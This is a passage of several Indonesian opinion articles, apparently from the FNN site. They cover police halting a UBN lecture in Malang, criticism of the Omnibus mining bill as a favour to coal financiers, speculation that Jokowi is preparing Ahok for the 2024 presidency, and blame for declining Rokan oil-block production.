mendapatkan info dari Mas Lutfi, ternyata Polsek Dau tidak mau mengeluarkan SKTT. Tapi acara tetap akan dilaksanakan, hanya tempatnya yang dipindah dari Hotel Radho Sengkaling ke Hotel Radho Kawi. Gus Abrar mendapatkan kepastian, Kokam siap memberi pengamanan. LPI pun sudah siap sedia. Laskar Gamal pun sudah siap. “Saya kontak Mas Junaedi dan Gus Hisa (Ansor), mereka memberi kabar bahwa tidak ada penolakan secara insitusi dari Ansor maupun Banser. Itulah kemudian, saya pastikan bahwa tidak ada penolakan acara UBN di Malang!” tegasnya. Senin Malam selepas isya’ ia menuju lokasi acara. Sampai sana suasana aman-aman saja. UBN sudah di lokasi, tapi masih di kamar. Namun, saat itu UBN disebut sedang mandi. “Saya balik arah menuju ruang acara, masih separuh kursi terisi,” ungkapnya. Setelah itu Gus Abrar Rifai keluar hotel, melihat-lihat suasana. Seorang laskar membuntuti. “Gak apa-apa, sampean balik ae nang jerru,” katanya. Ia jalan-jalan di sekitar hotel. Tidak ada hal-hal yang mencurigakan. Tapi, kemudian beberapa mobil Polisi yang ditumpangi banyak perwira berdatangan. Satu, dua, dan seterusnya. Akhirnya secara bersamaan, Habib Zainal Abidin Bilfeqih dan Doktor Muwafiq datang. Ia masuk bersama mereka. Naik ke lantai lima, tempat acara. UBN sudah ada di sana. “Kami dipersilakan duduk di deretan kersi di depan. Saya dan Dr. Muwafiq menampik,” ujarnya. Gus Abrar memilih kembali turun ke bawah, sementara Dr. Muwafiq memilih duduk di kursi paling belakang, di belakang para ibu-ibu. Sedang Habib Zainal, karena beliau memang harus memberi sambutan, beliau pun maju. Duduk di sebelah UBN. Acara dimulai: mulai MC, tilawah, sambutan, dan paparan UBN. Lancar-lancar saja. Peserta membludak. Kursi tidak cukup. Banyak peserta yang berdiri. Semua lancar terkendali. “Saya husnuzhzhan saja, ini tidak ada apa-apa,” ungkap Gus Abrar. Tapi tak lama kemudian, ada kabar dari Ustadz Abdullah Hadrami, Habib Asad dan beberapa orang lainnya, mereka mendapat info dari Polisi bahwa sedang ada pergerakan massa menuju lokasi acara. Gus Abrar mengumpulkan para pimpinan laskar, “Kalian jangan terprovokasi. Berjagalah di depan hotel,” instruksinya. “Kalau mereka melakukan aksi di halaman, biarkan saja. Itu adalah tugas Polisi, apakah akan membiarkannya atau membubarkan. Tugas kalian adalah menjaga acara untuk tetap berjalan. Kalau sampai mereka masuk hotel untuk mengacau, baru kalian boleh bertindak!” “Siaaap!” jawab mereka. Tidak berapa lama memang ada beberapa orang, kisaran belasan orang saja. “Menurut informasi kawan-kawan, diantara mereka ini adalah orang-orang yang sama yang dulu pernah menolak deklarasi PA 212 di Gedung Muamalat,” ujarnya. Gus Abrar masuk ke barisan laskar di teras hotel. Mendengar, menyimak suara-suara mereka. Tid ak jelas memang, karena mereka tidak menggunakan pengeras suara. diantara beberapa yang terdengar, “Ayo mettuo koen, nyingkrio. Ojok nggawe kisruh nang Malang!” “Wong atasane dudu ulamaˋ kok ngaku-ngaku ulamaˋ. Ayo rene balapan karo aku moco kitab kuning, moco Imriti, moco Alfiyah…” dan lain sebagainya teriakan mereka. “Teman-teman diam saja mendengarkan teriakan mereka. Sambil sesekali tersenyum dan tertawa, kalau didapati ada yang dirasa lucu,” ungkap Gus Abrar Rifai. Teleponnya berdering, Mas Lutfi meminta Gus Abrar baik ke lantai tiga. Rupanya sedang berlangsung negosiasi antara beberapa Polisi dengan Dr. Muwafiq. Polisi minta acara dihentikan. Gus Muwafiq bersikeras tidak. Adu argumen terjadi. Polisi berdalih, acara ini tidak mengantongi SKTT. Sehingga harus bubar! Dr. Muwafiq berdalih, ini acara ilmiah, seminar, diskusi. Di dalam ruangan, bukan di ruang terbuka, tidak perlu adanya SKTT dan sejenisnya. “Kami sudah sering mengadakan acara semacam ini. Tidak pernah ada apa-apa. Polisi tidak ada yang meminta kami bubar.” “Tapi ini ada penolakan massa. Sehingga untuk alasan keamanan, acara dihentikan saja. Kami minta begitu. Tolong!” timpal seorang Polisi. Gus Abrar ikut menyela, “Pak, kalau memang untuk menghindari keributan, kenapa bukan mereka saja yang dibubarkan. Kenapa harus kami?” “Tidak bisa. Mereka adalah warga yang menolak.” “Alasannya apa?” Polisi tidak menjawab. Mereka tetap hanya meminta acara dibubarkan, agar situasi kembali baik. “Sekarang begini saja. Siapapun mereka yang melakukan penolakan, sebaiknya Sampean ajak masuk. Sampean dan mereka hadir saja, ikut mendengar ceramah UBN. Kalau memang dalam isi ceramah beliau ada yang tidak sesuai, silakan diturunkan. Silakan distop!” Tapi mereka tetap tidak mau. Mereka hanya meminta acara dihentikan. Itu saja. Negosiasi bubar. Gus Abrar tanya Dr. Muwafiq sebagai Ketua Panitia. “Gimana?” “Iya, kita ngalah saja. Acara kita hentikan,” jawabnya. Waktu mendekati pukul 21.00. “Saya dekati MC, saya sampaikan apa yang terjadi. Ustadz Bachtiar dibisiki. Beliau mengangguk. Tapi beliau minta waktu, sedikit saja. “Kalau begitu kita lompat saja ke urutan yang terkhir,” katanya kepada hadirin. Tepat jam 21.00 beliau mengakhiri ceramahnya. Tidak ada tanya jawab. “Saya meminta mic, saya kabarkan kepada jamaah, bahwa acara kita sukses, karena bisa terlaksana hingga pukul sembilan malam, sebagaimana rencana semula,” ujar Gus Abrar. Ia tidak memberitahu jamaah secara eksplisit tetang apa yang terjadi. Gus Abrar juga hampiri UBN, kita salaman dan bercipika-cipiki. Ia pun lantas berbisik, “La baˋsa. Hadza syaiˋ ‘adi fidda’wah.” Apakah setelah acara dihentikan kemudian tuntutan selesai? Ternyata tidak! Polisi meminta agar peserta cepat-cepat keluar dari hotel. Padahal makan malam sudah terlanjur disiapkan. Gus Abar minta waktu kepada Polisi, “Biarkan mereka makan dulu, Pak.” Polisi setuju. Tapi tak lama, Polisi meminta agar cepat-cepat selesai, semua harus keluar dari hotel. Semua peserta sudah keluar. “Yang tersisa di hotel adalah para tamu, yang sebagian saya lihat wajah mereka menyuratkan kecemasan. Saya dan beberapa panitia memang sudah buka kamar, jadi kami termasuk tamu hotel,” ungkap Gus Abrar. Tapi, setelah itu apakah urusan selesai? Ternyata tidak! Kali ini Polisi meminta UBNr untuk menemui orang-orang pengunjuk rasa. “Saya setuju, Mas Reza setuju. Dr. Muwafiq sudah tidak ada di lokasi. Saya telpon beliau, tapi ternyata sudah menjauh dari hotel,” katanya. Ia sampaikan kepada beberapa orang yang mengawal UBN –sebagiannya disebut ajudan– agar ditemui saja mereka. Kita dialog, kita diskusi, apa sebenarnya yang menjadi penolakan mereka terhadap UBN. Biarkan UBN menjawab. Ternyata menunggu lama, UBN tak juga keluar dari kamar. Bahkan seorang diantara yang disebut pengawal UBN berujar, “Gak perlu ditemui mereka. Malah nanti kita bisa marah, kalau mereka melontarkan omongan-omongan yang tidak sopan.” Dari situ Gus Abrar sudah tidak OK. Kenapa harus takut dengan cercaan, cacian dan bahkan hinaan sekaligus. Justru ini kesempatan bagi UBN untuk mendengar dan menyampaikan sikapnya. Apalagi di hadapan Wakapolresta dan jajarannya, yang sudah menyatakan akan mendampingi. UBN tidak juga keluar. Polisi terus mendesak. Akhirnya Gus Abrar berinisiatif ia dan Pak Dadik, pemilik hotel yang menghadapi. Kita temui lima orang perwakilan mereka. “Tapi pembicaraan sudah tidak fokus ke substansi,” lanjutnya. Tapi malah melebar ke mana-mana: Parkiran mobil, pedagang nasi, orang Malang dan bukan orang Malang dan lain-lain. Mereka menuntut adanya ganti rugi dari Pak Dadik terkait juru parkir yang katanya tidak bisa bekerja karena adanya acara ini. Ada juga pernyataan ketidaksukaan terhadap UBN. Tapi tak disertai alasan apa yang membuat mereka tidak suka kepada UBN. Pak Dadik menjelaskan bahwa hotel ini bebas. Siapa saja boleh menginap dan membuat acara. “Lha wong saya ini bisnis, ” kata Pak Dadik. “Ada banyak ulamaˋselain UBN yang menginap dan membuat acara di hotel Radho. Kita terima saja.” Pak Dadik kemudian menyebut banyak nama yang sudah pernah menginap di Radho Hotel. Termasuk juga daftar ulamaˋyang akan menginap. Diantaranya KH. Ma’ruf Amin, Wakil Presiden Republik Indonesia. Pak Dadik memberi sejumlah uang, yang katanya untuk ganti rugi mereka. Mereka juga mengultimatum agar Pak Dadik tidak lagi menerima UBN dan yang sama dengannya. “Saya tidak tahu pasti, apa yang dimaksud sama,” ujarnya. Apakah setelah itu selesai? Ternyata tidak! Kali ini tuntutannya sebagaimana yang disampaikan oleh Wakapolresta adalah UBN keluar dari hotel. Entah pindah hotel atau keluar Malang. “Saya jamin keamanan beliau selama dalam perjalan,” kata Wakapolresta. “Sampai di situ saya minggir. Saya tidak ikut-ikut lagi. Saya serahkan bagaimana Mas Reza dan Timnya UBN. Saya naik ke lantai tiga, menemui teman-teman Forum Peduli Bangsa (FPB) yang kebetulan malam itu juga sedang rapat,” ungkap Gus Abrar. Selanjutnya ia sudah tidak tahu apa yang terjadi. Sampai akhirnya terdengar teriakan-teriakan keras. "Rupanya UBN sudah dikeluarkan dari hotel, disertai Polisi. Diiringi teriakan orang-orang yang entah apa maksudnya,” katanya. Jadi, siapa sebenarnya yang menolak UBN di Kota Malang itu? *** Penulis wartawan senior.

RUU Omnibuslaw Minerba, Balas Jasa Kepada Bandar Tambang Batubara

By Salamuddin Daeng Jakarta FNN - Membaca draf UU Omnibuslaws terkait dengan Undang-Undang Republik Indonesia Nomor 4 Tahun 2009 Tentang Pertambangan Mineral Dan Batubara (Minerba), disana tampak bahwa Omnibuslaws ini adalah UU untuk menciptakan pekerjaan bagi para bandar batubara. Mereka itu yang ditenggarai menjadi penyandang dana utama dalam Pilpres 2019 lalu. Draf Omnibuslaws UU Minerba memperlihatkan ambisi para taipan tambang, terutama tambang batubara. Mereka berambisi untuk mengeruk keuntungan dengan sangat efektif dan efisien. Untuk itu, mereka sangat berharap berbagai kemudahan yang akan diberikan langsung oleh pemerintah pusat dalam hal ini oleh Presiden, melalui : Pertama, menghapus semua kewenangan Pemerintah Daerah (Pemda) dalam UU Minerba. Yang paling utama adalah bagian perijinan. Pengusaha pertambangan berharap Pemda menyerahkan semua hak dan keweangan terkait pertambangan kepada pemerintah pusat yakni presiden. Rencana ini termuat dalam sebagian besar pasal Omnibuslaws. Bahkan menjadi maksud dan tujuan utama penghapusan banyak pasal dalam UU minerba. Pintu masuknya adalah Pasal 4 ayat (2) RUU Omnibuslaw, yaitu “penguasaan mineral dan batubara oleh negara sebagaimana dimaksud pada ayat (1) diselenggarakan Pemerintah Pusat”. Pada ayat (3) ketentuan lebih lanjut mengenai penyelenggaraan penguasaan mineral dan batubara diatur dengan Peraturan Pemerintah. Kedua, penyediakan pintu ijin pertambangan khsus bagi pihak-pihak yang diangap pemerintah harus diberi kehususan. Misalnya, “pertambang milik oligarki penguasa sendiri, teman-temannya penguasa sendiri, atau asing yang biasanya selalu dihkususkan oleh penguasa”. Ketentuan mengenai masalah ini termuat dalam pasal 36 ayat (1) “kegiatan usaha pertambangan dan kegiatan pertambangan khusus terdiri atas dua tahap kegiatan, yaitu eksplorasi yang meliputi kegiatan penyelidikan umum, eksplorasi, dan studi kelayakan. Berikutnya adalah operasi produksi, yang meliputi kegiatan konstruksi, penambangan, pengolahan dan/atau pemurnian, pengangkutan dan penjualan, serta reklamasi dan pasca tambang. Sedangkan ayat (2)​RUU ini menyatakan “pelaku usaha yang memenuhi perizinan berusaha sebagaimana dimaksud pada ayat (1) dapat melakukan sebagian atau seluruh kegiatan usaha pertambangan mineral dan batubara”. Pada ayat (3) berbunyi “pelayanan perizinan berusaha sebagaimana dimaksud pada ayat (2) wajib menggunakan sistem perizinan terintegrasi secara elektronik yang dikelola oleh Pemerintah. Ketiga, melepaskan kewajiban perusahaan pertambangan batubara dari kegiatan pengolahan di dalam negeri. Selama ini kewajiban melakukan pengolahan di dalam negeri dianggap telah menghambat ijin, ekspor, dan lain sebagainya. Maksud ini termuat dalam RUU ini pasal 102 ayat (1), yaitu “pelaku usaha yang melakukan kegiatan usaha pertambangan mineral dan batubara wajib meningkatkan nilai tambah sumber daya mineral dan/atau Batubara melalui a). pengolahan dan Pemurnian Mineral logam, b). pengolahan mineral bukan logam, c). pengolahan batuan, dan/atau d). pengembangan dan pemanfatan batubara”. Sementara pada (2) menyatakan “pelaku usaha yang melakukan kegiatan pemanfaatan dan pengembangan batubara sebagaimana dimaksud pada ayat (1) huruf d dapat dikecualikan dari kewajiban pemenuhan kebutuhan batubara di dalam negeri”. Keempat, pemberian hak lebih luas kepada pemegang ijin pertambangan khsus untuk bermitra dengan yang tidak khusus. Jadi, dengan demikian ijin bersifat kusus, namun pemanfaatan bahan tambangnya bersifat umum atau seperti pertambangan lainnya. Maksud ini termuat dalam pasal 104 yakni (1) RUU ini adalah Pelaku Usaha Kegiatan Operasi Produksi untuk kegiatan usaha pertambangan, dan kegiatan usaha pertambangan khusus sebagaimana dimaksud dalam Pasal 103 dapat melakukan kerjasama pengolahan dan/atau pemurnian dengan Pelaku Usaha Kegiatan Operasi Produksi untuk kegiatan usaha pertambangan dan kegiatan usaha pertambangan khusus atau dengan pihak lain yang melakukan kegiatan usaha pengolahan dan/atau pemurnian. Pada ayat (2) menyatakan Pelaku Usaha Kegiatan Operasi Produksi untuk kegiatan usaha pertambangan dan kegiatan usaha pertambangan khusus sebagaimana dimaksud dalam Pasal 103 dapat melakukan kerjasama pengembangan pemanfaatan batubara dengan Pelaku Usaha Kegiatan Operasi Produksi untuk kegiatan usaha pertambangan dan kegiatan usaha pertambangan khusus atau dengan pihak lain yang melakukan kegiatan usaha pengembangan dan pemanfaatan batubara. Kelima, pemberian fasilitas tambahan kepada perusahaan tambang batubara berupa pembebasan kewajiban royalty menjadi nol persen (0%). Padahal selama ini royalty pertambangan batubara hanyalah secuil dibandingkan dengan nilai batubara yang dikeruk dari bumi Indonesia. Maksud ini tertuang dalam Pasal 128 dan 129. Yang disisipkan 1 (satu) pasal yakni Pasal 128A yang berbunyi sebagai berikut (1) pelaku usaha yang melakukan peningkatan nilai tambah mineral dan b/JHC batubara sebagaimana dimaksud dalam Pasal 103, dapat diberikan perlakuan tertentu terhadap kewajiban penerimaan negara sebagaimana dimaksud dalam Pasal 128. Sementara pada ayat (2) ​pemberian perlakuan tertentu terhadap kewajiban penerimaan negara sebagaimana dimaksud pada ayat (1) untuk kegiatan peningkatan nilai tambah batubara dapat berupa pengenaan royalty sebesar 0%. Keenam, memberikan hak perpanjangan otomatis kepada perusahaan yang berakhir masa kontraknya, tanpa melalui lelang. Ketentuan ini dipastikan berkaitan dengan tambang batubara raksasa yang akan berakhir masa kontraknya sampai dengan tahun dalam tahun 2020-2021. Maksud ini termuat didalam Pasal 169 dan Pasal 170. Juga disisipkan 1 (satu) pasal yakni Pasal 169A pada ayat 91) yang berbunyi “Kontrak Karya dan perjanjian karya pengusahaan pertambangan batubara: a). yang belum memperoleh perpanjangan, dapat diperpanjang menjadi Perizinan Berusaha terkait Pertambangan Khusus perpanjangan pertama sebagai kelanjutan operasi tanpa melalui lelang setelah berakhirnya kontrak karya atau perjanjian karya pengusahaan pertambangan batubara dengan mempertimbangkan peningkatan penerimaan negara”. Sedangkan pada huruf berikutnya b). menyatakan “yang telah memperoleh perpanjangan pertama dapat diperpanjang menjadi Perizinan Berusaha terkait Pertambangan Khusus perpanjangan kedua sebagai kelanjutan operasi tanpa melalui lelang setelah berakhirnya perpanjangan pertama kontrak karya atau perjanjian karya pengusahaan pertambangan batubara dengan mempertimbangkan peningkatan penerimaan negara”. Jadi luar biasa hasil pemilihan presiden langsung di Indonesia kakli ini. Telah mengasilkan politik balas jasa dari para penyelenggara negara kepada para bandar yang menjadikan mereka sebagai pejabat negara, dan menjadi orang hebat. Ini sungguh pengabdian para pejabat negara ini kepada para taipan yang mengkhianati amanat Pancasila dan UUD 1945. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (EPI)

Jokowi Siapkan Ahok Jadi Presiden?

Mungkinkah Anies Baswedan vs Ahok akan terulang di pilpres 2024? Tak ada yang tak mungkin. Jika itu terjadi, tentu akan jauh lebih panas dari pilgub DKI 2017 dan pilpres 2019. Benturan sosial mungkin akan jauh lebih dahsyat. Politik identitas yang terakumulasi dengan kekecewaan terhadap kekuasaan akan memicu terjadinya gelombang aksi massa dan benturan sosial. By Tony Rosyid Jakarta FNN - Ahok, manusia satu ini gak ada matinya. Didemo tujuh hingga belasan juta orang, jatuh. Kalah di pilgub DKI dan dipenjara dua tahun. Keluarganya pun ikut berantakan. Keluar dari penjara, Ahok bangkit kembali. Kali ini jadi komisaris utama (komut) PT. Pertamina. BUMN yang aduhai duitnya. Protes dimana-dimana, Jokowi hitung. Ternyata hanya riak, bukan gelombang. Tak berbahaya. Rencana jalan terus. Rupanya, Jokowi punya keyakinan sendiri tentang Ahok. Keyakinan atau rencana? Itu yang sedang dalam banyak pengamatan. Rakyat membaca keyakinan atau rencana Jokowi itu. Kemana arah manuver Jokowi ini nantinya. Yang pasti, Ahok sudah menjadi komut PT. Pertamina. Ini tanda bahwa Ahok punya kesempatan untuk bangkit kembali. Tepatnya, dibangkitkan lagi oleh Jokowi. Belum tampak hasil kinerjanya sebagai komut di PT. Pertamina. Jokowi sebut-sebut Ahok akan jadi calon kepala Badan Otorita Ibu Kota Baru. Sepertinya Ahok adalah calon terkuat. Meski ada nama Bambang Bridjonegoro, Abdullah Azwar Anas dan Tumiyana. Tiga nama yang disebut belakangan boleh jadi sekedar cadangan. Cadangan hanya akan dipakai jika Ahok gagal. Berpotensi gagal jika protes terhadap Ahok membesar jadi gelombang. Selama protes terhadap Ahok tak masif, apalagi hanya riak-riak kecil di medsos, atau paling banter di acara ILC, peluang Ahok jadi kepala Badan Otorita Ibu Kota Baru sangat besar. Protes tidak massif, artinya tak bakal membahayakan terhadap posisi Jokowi. Sebaliknya, jika protes mulai membahayakan, mungkin Jokowi akan berhitung lagi. Ahok bisa ditarik mundur selangkah. Seandainya pun Ahok gagal sebagai kepala Badan Otorita Ibu Kota Baru, tak lantas karir Ahok berhenti di PT. Pertamina. Masih akan ada posisi-posisi strategis yang disiapkan untuk Ahok ke depan. Tentu, sebelum Jokowi turun dari kursi presiden. Jabatan komut PT. Pertamina diduga oleh banyak pengamat hanya sebagai batu loncatan untuk Ahok reborn. Analisis ini seolah mendapat pembenaran ketika Jokowi mengumumkan Ahok sebagai kandidat kepala Badan Otorita Ibu Kota Baru. Clear! Tak lama setelah nama Ahok disebut sebagai kandidat kepala Badan Otorita Ibu Kota Baru, lagi-lagi Jokowi membuat sebuah pernyataan mengejutkan. "Tidak masalah presiden Indonesia itu non-muslim". Publik ramai. Jokowi dianggap seolah-olah telah menyiapkan perahu politik untuk Ahok yang notabene non-muslim sebagai capres 2024. Analisis ini masuk akal mengingat belum ada nama kandidat yang potensial di luar Anies Baswedan. Survei elektabitas Tito Karnavian, orang dekat Jokowi, masih sangat rendah. Sementara Puan Maharani, Ganjar Pranowo dan Risma, selain masih sangat rendah, juga bukan calon Jokowi. Tiga kader PDIP itu milik Megawati. Kecil kemungkinan Jokowi berpatner dengan Megawati di pilpres 2024. Gabung dengan Mega, Jokowi pasca pensiun hanya akan jadi anggota biasa di PDIP. No pengaruh. Apalagi selama menjadi presiden, kabarnya Jokowi telah banyak mengecewakan Megawati. Maka, akan jauh lebih strategis jika Jokowi punya calon sendiri. Untuk sementara, hanya Ahok dan Tito Karnavian yang bisa dimainkan oleh Jokowi sebagai jagoannya. Jika kedua tokoh ini pun gagal dibranding, mendukung Anies bagi Jokowi jauh lebih rasional dari pada bergabung dengan Megawati. Ketika Jokowi bilang bahwa calon presiden boleh non-muslim, tentu sebagai presiden, Jokowi tak asal bicara. Soal langkah politik, Jokowi sangat terukur. Boleh orang meemehkan, tapi dua periode menjadi presiden bukan perkara mudah. Butuh kemampuan berpolitik kelas tinggi. Jadi, ucapan Jokowi bahwa presiden boleh non-muslim tentu punya arah. Ucapan Jokowi tersebut tidak keluar di ruang hampa. Artinya, bukan omong kosong. Komut PT. Pertamina, lanjut kepala Otorita Ibu Kota Baru, lalu nyapres adalah proses branding. Ahok sendiri baru-baru ini juga pernah menyatakan bahwa dia bisa jadi presiden. Bagaimana dengan aturan perundang-undangan? Semua bisa dirubah dan dikondisikan. Parlemen saat ini ada di genggaman Jokowi. Persoalan sesunghuhnya bukan di aturan, tapi begaimana hasil survei elektabilitas Ahok. Itulah yang akan jadi variabel untuk menentukan. Mungkinkah Anies Baswedan vs Ahok akan terulang di pilpres 2024? Tak ada yang tak mungkin. Jika itu terjadi, tentu akan jauh lebih panas dari pilgub DKI 2017 dan pilpres 2019. Benturan sosial mungkin akan jauh lebih dahsyat. Politik identitas yang terakumulasi dengan kekecewaan terhadap kekuasaan akan memicu terjadinya gelombang aksi massa dan benturan sosial. Secara obyektif, berbasis pada pertama, analisis pilgub DKI 2017. Kedua, melihat psikologi dan karakter rakyat Indonesia, maka rivalitas Anies vs Ahok di pilpres 2024 tidak hanya akan membuat benturan social. Lebih dari itu akan berpotensi terjadinya perang saudara. Tentu, ini adalah prediksi. Bagi kelompok tertentu, Ahok dianggap ancaman. Tidak saja terhadap agama Islam yang dipeluk mayoritas rakyat, tetapi juga bangsa dan negara. Ini sebuah analisis yang baik, sekiranya disurvei datanya di lapangan. Bukan hanya survei elektabilitas berbasis kuantitatif, tetapi juga survei etnografis untuk membaca potensi konflik jika Ahok dipaksakan untuk nyapres. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Produksi Blok Rokan Turun, SKK Migas Bertanggungjawab?

By Marwan Batubara Jakarta FNN - Pengelolaan Blok Rokan akan beralih ke Pertamina pada Agustus 2021. Sebelumnya dikuasai oleh Chevron Pacific Indonesia (CPI) lebih dari setengah abad. Blok Rokan adalah penghasil minyak terbesar Indonesia. Puncak produksi sekitar satu juta barel per hari (bph) pada 1980-an. Saat ini, produksi Blok Rokan hanya sekitar 160.000-an bph. Blok Rokan hanya berpotensi menghasilkan minyak sekitar 140.000-an bph pada 2021. Penurunan produksi tersebut sebagai akibat kelalaian dan pelanggaran peraturan oleh CPI dan pemerintah, terutama SKK Migas. Dalam kondisi produksi migas nasional yang terus menurun pada 6-7 tahun terakhir, Indonesia harus mengimpor minyak (BBM) lebih banyak dari yang mampu diproduksi. Saat harga minyak dunia naik, meningkatnya impor minyak berdampak pada naiknya defisit neraca perdagangan dan neraca transaksi berjalan (current account deficit). Itu sebabnya Presiden Jokowi sangat concern dan berulang-ulang mengingatkan isu defisit kepada jajaran kabinetnya dalam dua tahun terakhir. Saat ini masalah defisit sedikit tertolong karena turunnya harga minyak dunia akibat membanjirnya supply dan melemahnya demand. Akibat lain karena merebaknya wabah Covid-19. Namun jika penurunan kuota produksi minyak OPEC dan Rusia akhirnya disepkati (Jumat 6/3/2020 kesepakatan gagal tercapai), maka harga minyak dapat kembali pulih. Bagi Indonesia, pulihnya harga minya akan menjadi runyam. Sebagai akibat terus turunnya produksi minyak, termasuk dari Blok Rokan. Apalagi jika nilai tukar dollar terus menguat terhadap rupiah. Khusus untuk Blok Rokan, siapa pihak yang pantas dituntut untuk bertanggungjawab? Sebaiknya, mari kita telusuri dan teliti bersama. Pada Rapat Dengar Pendapat (RDP) dengan Komisi VII DPR (20/1/2020), Presiden Direktur CPI Albert Simanjuntak menerangkan bahwa CPI sudah tidak melakukan pengeboran lagi di Blok Rokan sejak 2019. Karena menilai investasinya tidak lagi ekonomis. Untuk mempertahankan tingkat produksi, Albert mengatakan ada tiga opsi yang dapat diambil. Opsi Pertama, CPI yang mendanai dan membor. Opsi Kedua, CPI yang membor dan Pertamina yang mendanai. Opsi Ketiga, Pertamina yang membor dan mendanai. Namun opsi pertama sudah tidak berlaku lagi. CPI telah menghentikan investasi, karena menganggap tidak lagi ekonomis. Saat RDP tersebut, Albert mengaku telah melakukan proses rencana alih kelola Blok Rokan di bawah koordinasi SKK Migas. Untuk itu, telah dibentuk tim koordinasi. Diakui bahwa proses tersebut sudah memiliki jadwal yang disepakati, dan berjalan dengan baik. Namun ternyata hingga saat ini, ketiga opsi semuanya belum ada yang terlaksana. Berkaitan dengan itu, Menteri ESDM Arifin Tasrif mengatakan (26/1/2020), pemerintah terus mendorong proses transisi di Blok Rokan. Harapannya, dapat berjalan mulus supaya Pertamina segera berinvestasi, sehingga penurunan laju produksi di Blok Rokan dapat ditekan. Guna mengantisipasi dan menjamin tingkat produksi terjaga, pemerintah telah menerbitkan Permen ESDM No.26/2017 tentang Mekanisme Pengembalian Biaya Investasi Pada Kegiatan Hulu Migas. Pasal 2 Permen tersebut menyatakan: Pertama, kontraktor wajib menjaga kewajaran tingkat produksi migas sampai berakhirnya masa Kontrak Kerja Sama (KKS). Kedua, dalam rangka menjaga tingkat produksi sebagaimana dimaksud pada ayat (1), kontraktor wajib melakukan investasi pada wilayah kerjanya. Selain itu, Permen ESDM No.26/2017 lebih telah direvisi dengan terbitnya Permen ESDM No.24/2018 yang menjamin pengembalian investasi CPI segera dibayar Pertamina sebelum KKS berkahir. Pasal 8 Permen ESDM No.24/2018 antara lain menyatakan bahwa Kontraktor baru (maksudnya Pertamina) wajib melakukan penyelesaian atas nilai pengembalian biaya investasi yang dikeluarkan CPI paling lambat 7 (tujuh) hari sebelum penandatanganan KKS oleh Pertamina. Hingga saat ini kesepakatan antara CPI dan Pertamina belum juga tercapai. Akibatnya, produksi minyak berpotensi terus turun. Dalam hal ini, kita pantas mempertanyakan atau menggugat CPI dan SKK Migas bertanggungjawab atas potensi kegagalan lifting. Terkait CPI, pertama dinyatakan pada RDP Komisi VII DPR bahwa CPI siap bekerjasama dengan SKK Migas dan Pertamina untuk menciptakan alih kelola yang lancar. Namun, pada prakteknya, CPI tampaknya justru bersikap tidak kooperatif. Kedua, CPI dapat dianggap membuat pernyataan yang tidak benar di hadapan DPR. CPI menyebutkan bahwa investasi di Rokan sudah tidak ekonomis, sehingga CPI tidak melakukan pengeboran. Namun saat yang sama CPI menghalangi Pertamina menjalankan opsi ketiga, di mana Pertamina yang melakukan pemboran sekaligus berinvestasi, dengan berbagai alasan yang lebih bersifat administratif. Ketiga, CPI telah sengaja mengabaikan kewajiban, serta melecehkan peraturan dan kedaulatan negara dengan melanggar pasal 2 Permen ESDM No.26/2017. Peraturan tersebut mewajibkan Kontraktor KKS melakukan investasi guna menjaga tingkat produksi, karena pada prinsipnya seluruh investasi yang dilakukan akan segera dibayarkan kembali oleh Pertamina sebelum KKS berakhir, sebagaiman diatur dalam pasal 8 Permen ESDM No.24/2018. Keempat, terkait dengan butir ketiga, pada prakteknya CPI mengakui telah menghentikan pemboran sejak 2019. Dalam hal ini, rencana tersebut mestinya telah termuat dalam Work Program & Budget (WP & B) yang disepakati dengan SKK Migas pada akhir 2018 atau awal 2019. Dengan kondisi seperti ini, tampak bahwa sebelum negosiasi alih-kelola berlangsung. CPI telah menunujukkan iktikad tidak baik tanpa peduli kepentingan nasional untuk mempertahankan produksi melalui pengelolaan Blok Rokan yang optimal. Terkait dengan SKK Migas, kita perlu mengungkap dan menggugat berbagai kelalaian atau pelanggaran yang dilakukan. SKK Migas dapat dicurigai bernuansa moral hazard dalam pengelolaan Blok Rokan. Pertama, SKK Migas telah lalai menjalankan tugas dan fungsi sesuai Permen ESDM No.17/2017, yang antara lain memberikan persetujuan rencana WP&B, serta memonitor dan melaporkan pelaksanaan KKS kepada Dewan Pengawas, agar lifting tetap terjaga. Kedua, terkait dengan butir pertama, sesuai Perpres No.9/2013, Menteri ESDM sebagai Kepala Dewan Pengawas SKK Migas juga dituntut ikut bertanggungjawab atas penurunan lifting tersebut. Karena membiarkan sikap tidak kooperatif CPI dan kelalaian SKK Migas mengendalikan pelaksanaan KKS dan WP & B Blok Rokan. Menteri ESDM Arifin Tasrif (dan yang sebelumnya Ignatius Jonan) tidak cukup hanya bersikap “mendorong” penyelesaian proses alih-kelola, tanpa menggunakan kekuasaan untuk memaksa dijalankannya peraturan. Ketiga, sebagai pengawas pelaksanaan WP & B berdasarkan SK Kepala SKK Migas No.0154/SKKO/2015 tentang Pedoman Tata Kerja WP&B, SKK Migas telah lalai atau sengaja membiarkan CPI tidak melakukan pemboran pada 2019, sehingga lifting terancam. Ada dua kemungkinan sebagai sumber masalah. Pertama, SKK Migas membiarkan CPI yang sejak semula tidak merencanakan pemboran pada 2019, tanpa memaksa untuk melakukan revisi WP & B sesuai ketentuan PTK No.0154/2015. Kedua, SKK Migas membiarkan saja CPI tidak merealisasikan pemboran meskipun pada awalnya CPI telah membuat rencana dalam WP & B. Keempat, berangkat dari pengalaman alih kelola Blok WMO dan Mahakam, tanpa adanya peraturan pendukung dan peran aktif SKK/BP Migas, maka lifting migas telah menurun drastis saat pengelolaan berpindah tangan. Untuk kasus Blok Rokan, peraturan pendukung telah tersedia, yakni Permen ESDM No.26/2017 dan No.24/2018. Namun, karena ketidakpedulian SKK Migas, yang seharusnya berperan aktif dan antisipatif, malah terkesan enggan melakukan koreksi. Dengan demikian, penurunan produksi seperti kasus WMO dan Mahakam akan kembali terulang. Uraian di atas menunjukkan mengapa dan siapa yang telah bersikap abai atau melanggar aturan? Dampaknya, tingkat produksi Blok Rokan akhirnya menurun lebih cepat dari tingkat penurunan alaminya (karena telah berumur tua). CPI sebagai Kontraktor jelas telah menyatakan sikap tidak berminat berinvestasi karena hal itu sudah tidak ekonomis. Namun CPI tidak pantas berbuat sesuka hati, karena ada peraturan yang membatasi. Masalahnya, SKK Migas yang seharusnya melakukan fungsi pengawasan dan pengendalian. Setelah itu menjamin dilaksanakannya seluruh peraturan oleh Kontraktor KKS. Namun pada prakteknya pun ikut-ikutan tidak peduli atau membiarkan pelanggaran terjadi. IRESS ikut terlibat aktif bersama Serikat Pekerja dan berbagai elemen masayarakat guna mengadvokasi agar Blok WMO dan 